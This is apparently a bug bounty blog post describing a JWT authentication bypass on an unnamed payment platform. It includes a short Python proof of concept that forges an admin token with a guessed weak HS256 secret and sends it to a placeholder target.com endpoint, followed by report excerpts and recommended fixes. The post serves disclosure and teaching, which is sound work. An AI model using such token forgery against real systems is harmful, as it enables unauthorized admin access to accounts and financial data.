I Found a Critical Bug in JWT Authentication and Earned $10,000 — Here’s How You Can Too!

Photo by Gabriel Heinzer on Unsplash

It was just another late night in my cybersecurity research routine when I stumbled upon something unusual in a popular online payment platform. I had been hunting bugs for a while, reporting vulnerabilities responsibly, and earning decent payouts. But this one? This one was different. It had the potential to change the game entirely.

I was testing the platform’s authentication system when I noticed an unusual behavior in their login mechanism. Most bounty hunters focus on standard injections, but I always dig deeper. That’s when I found a flaw so severe that it could allow an attacker to bypass authentication and gain admin access.

Here’s how I found the bug step by step:

Reconnaissance — I started by using Burp Suite, nmap, and ffuf to map out the target’s endpoints.Enumeration — I discovered a vulnerable API endpoint: https://target.com/api/v1/auth.Payload Crafting — By manipulating the JWT token, I managed to forge authentication and log in as an admin.

Here’s the proof-of-concept (PoC) exploit I used:

import jwt
import requests# Generate a forged JWT token
secret = "weak_secret" # The actual server secret was predictable
payload = {"user": "admin", "role": "superadmin"}
token = jwt.encode(payload, secret, algorithm="HS256")# Send the forged token
headers = {"Authorization": f"Bearer {token}"}
response = requests.get("https://target.com/api/v1/dashboard", headers=headers)if response.status_code == 200:
print("Vulnerability exploited! Admin access granted.")
else:
print("Exploit failed. Target might be patched.")

Surprisingly, the system accepted the forged token and logged me in as an admin! 🚨 This was a severe misconfiguration in JWT authentication, allowing attackers to manipulate tokens without requiring a valid login.

I immediately documented my findings and submitted a detailed report to the platform’s bug bounty program. Here’s a snippet of my report:

Summary: The JWT authentication mechanism allows an attacker to forge admin access tokens due to the use of a weak secret.

Impact: An attacker can gain full control over user accounts, process unauthorized transactions, and access sensitive financial data.

Steps to Reproduce:

Generate a JWT token using a weak secret.Use the forged token in an Authorization header.Observe that admin access is granted.

Recommended Fix:

Implement strong, unpredictable secrets.Use asymmetric key signing (RS256) instead of HS256.Validate JWT tokens securely.

Within 48 hours, the security team responded, confirming the vulnerability. A week later, I received an email stating:

“Congratulations! Your report has been validated as a critical security issue. Your bounty: $10,000.”

This was one of the best payouts I had ever received! It reinforced my belief that deep testing and business logic flaws are often more valuable than common exploits.

Always test JWT authentication mechanisms thoroughly.Focus on business logic flaws, not just common exploits.Persistence is key in bug hunting.Payment gateways and financial systems have some of the most rewarding bug bounty programs.

This discovery not only helped secure the platform but also earned me a hefty bounty. If you’re into ethical hacking and bug bounty hunting, never stop learning and testing!

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